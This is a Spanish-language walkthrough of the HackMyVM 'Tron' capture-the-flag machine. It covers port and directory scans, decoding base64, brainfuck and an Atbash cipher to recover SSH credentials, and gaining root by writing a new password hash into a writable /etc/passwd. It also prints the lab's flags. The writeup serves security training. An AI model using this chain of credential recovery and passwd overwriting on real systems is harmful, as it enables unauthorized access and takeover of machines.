Tron HackMyVM (Easy- Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-10 02:16 EDT
Nmap scan report for 192.168.1.172
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 1f:ed:64:93:84:b5:b2:e8:af:5a:0e:6f:52:af:4b:48 (RSA)
| 256 3d:df:6f:02:13:9e:15:f8:51:94:30:f8:45:e3:f2:93 (ECDSA)
|_ 256 2f:f4:af:e1:f4:c4:a5:3b:50:bb:e5:b9:2a:9f:39:de (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Master Control Program
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:8B:31:4C (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds
Veremos que hay un puerto 80
levantado, por lo que si entramos en el veremos una pagina normal y corriente, vamos a realizar un poco de fuzzing
para ver que podemos ver.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.172/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 309]
/.html (Status: 403) [Size: 278]
/img (Status: 200) [Size: 936]
/manual (Status: 200) [Size: 626]
/robots.txt (Status: 200) [Size: 623]
/font (Status: 200) [Size: 935]
/.html (Status: 403) [Size: 278]
/MCP (Status: 200) [Size: 1140]
/server-status (Status: 403) [Size: 278]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================
Veremos de todo esto una ruta bastante interesante llamada /MCP
vamos a probar a entrar dentro de la misma.
Si entramos dentro veremos lo siguiente:

Vemos que hay varios archivos, pero si nos descargamos el archivo llamado tron.txt
veremos lo siguiente:
MASTER CONTROL PROGRAM
----------------------
Ram:
Do you believe in the Users?
Crom:
Sure I do! If I didn't have a User, than who wrote me?
KysrKysrKysrK1s+Kz4rKys+KysrKysrKz4rKysrKysrKysrPDw8PC1dPj4+PisrKysrKysrKysrKy4tLS0tLi0tLS0tLS0tLS0tLisrKysrKysrKysrKysrKysrKysrKysrKy4tLS0tLS0tLS0tLS0tLS0tLS0tLS4rKysrKysrKysrKysrLg==
Vemos que hay un codigo cifrado, por lo que vamos a intentar decodificarlo de la siguiente forma:
echo "KysrKysrKysrK1s+Kz4rKys+KysrKysrKz4rKysrKysrKysrPDw8PC1dPj4+PisrKysrKysrKysrKy4tLS0tLi0tLS0tLS0tLS0tLisrKysrKysrKysrKysrKysrKysrKysrKy4tLS0tLS0tLS0tLS0tLS0tLS0tLS4rKysrKysrKysrKysrLg==" | base64 -d
Info:
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.----.-----------.++++++++++++++++++++++++.--------------------.+++++++++++++.
Vemos que nos da otro codigo codificado que esta en formato brainfuck
por lo que si lo decodificamos se quedara algo asi:
player
Vemos que sera un nombre de usuario, ahora si nos vamos a terminalserver
-> 30513.txt
veremos esto:
substitute
--------------------------
plaintext
abcdefghijklmnopqrstuvwxyz
ciphertext
zyxwvutsrqponmlkjihgfedcba
--------------------------
Vemos que esto puede ser como un codigo para poder decodificar algo que este por ahi, por lo que vamos a investigar un poco.
Buscando un rato, si vamos a la pagina principal e inspeccionamos el codigo veremos lo siguiente:
<!-- kzhh:SbWP9q94ZtE9qD -->
Vamos a utilizar esto para aplicar la decodificacion de sustitucion con la palabra que encontramos a ver que vemos:

Vemos que ha funcionado y la contraseña de player
es SyWP9j94ZgE9jD
por lo que vamos a conetcarnos por SSH
.
SSH
ssh player@<IP>
Metemos como contraseña SyWP9j94ZgE9jD
y veremos que estamos dentro, por lo que leeremos la flag
del usuario.
user.txt
HMVMuserplayer2021
Escalate Privileges
Despues de buscar un rato si hacemos lo siguiente:
find /etc -type f -writable 2>/dev/null
Info:
/etc/passwd
Veremos que podemos sobreescribir el archivo passwd
, por lo que podremos hacer lo siguiente:
Antes codificaremos la contraseña para que la admita en el archivo passwd
.
openssl passwd 1234
Info:
$1$YoLbOiy7$eDZyWwzWVII2TQyt3qjTH.
Ahora en la maquina victima vamos a establecerle dicha contraseña codificada a root
.
nano /etc/passwd
#Dentro del nano
root:x:0:0:root:/root:/bin/bash #Pasamos de esto
root:$1$YoLbOiy7$eDZyWwzWVII2TQyt3qjTH.:0:0:root:/root:/bin/bash #<--------------- Ha esto
Lo guardamos y realizamos lo siguiente:
su root
Metemos como contraseña 1234
y veremos que seremos root
, por lo que leeremos la flag
de root
.
root.txt
HMVMMasterControlProgram2021
Last updated